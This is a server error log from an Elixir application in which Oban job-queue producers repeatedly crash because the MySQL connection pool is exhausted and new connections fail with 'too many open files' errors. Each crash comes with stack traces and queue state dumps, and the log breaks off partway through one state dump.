State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:46:10.240651Z], limit: 20, uuid: "f6ca7013-5915-4a68-aead-e37d978f8e7d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:46:10.240660Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.29874>, refresh_timer: #Reference<0.2525715032.1077673987.1437>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:46:22.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 801ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:46:10.245029Z], limit: 50, uuid: "2ad55f5b-3306-4cc8-b9a0-8229afde948b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:46:10.245035Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.29878>, refresh_timer: #Reference<0.2525715032.1121189889.136951>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:46:24.576000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:46:24.717000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=11.9ms idle=1334.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 23:46:26.617000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:46:30.620000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:46:32.381000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:46:33.965000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:46:34.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 828ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:46:22.240200Z], limit: 5, uuid: "05b1c814-7178-46f2-9eda-313cdd57bac3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:46:22.240206Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.137172>, refresh_timer: #Reference<0.2525715032.1121189889.137124>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:46:34.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1088ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:46:22.240703Z], limit: 20, uuid: "c281b478-bbba-4207-adc7-8ef4022d0aa6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:46:22.240709Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.30220>, refresh_timer: #Reference<0.2525715032.1077673987.1586>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:46:34.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 828ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:46:22.239694Z], limit: 5, uuid: "3a5c93f2-1d9b-433e-b434-c9768d9ff399", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:46:22.239701Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.30222>, refresh_timer: #Reference<0.2525715032.1121189889.137111>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:46:34.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 820ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:46:22.242481Z], limit: 50, uuid: "0ba5a06d-c6c2-401c-8cd3-898eb6844cf3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:46:22.242486Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.30219>, refresh_timer: #Reference<0.2525715032.1099431938.30211>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:46:34.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 999ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:46:22.240655Z], limit: 10, uuid: "48c892c0-d280-4887-acfe-642d75705afc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:46:22.240661Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.30221>, refresh_timer: #Reference<0.2525715032.1077673987.1582>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:46:34.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 805ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:46:22.240417Z], limit: 3, uuid: "91a5a264-0fac-4eea-a789-67c880b19ee5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:46:22.240422Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.30223>, refresh_timer: #Reference<0.2525715032.1121189889.137135>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:46:35.028000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:46:36.423000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:46:38.542000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:46:40.468000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:46:42.014000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:46:42.637000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:46:44.113000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:46:45.678000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:46:46.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 888ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:46:34.247353Z], limit: 3, uuid: "24f0b985-e253-4907-9390-81971c800f63", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 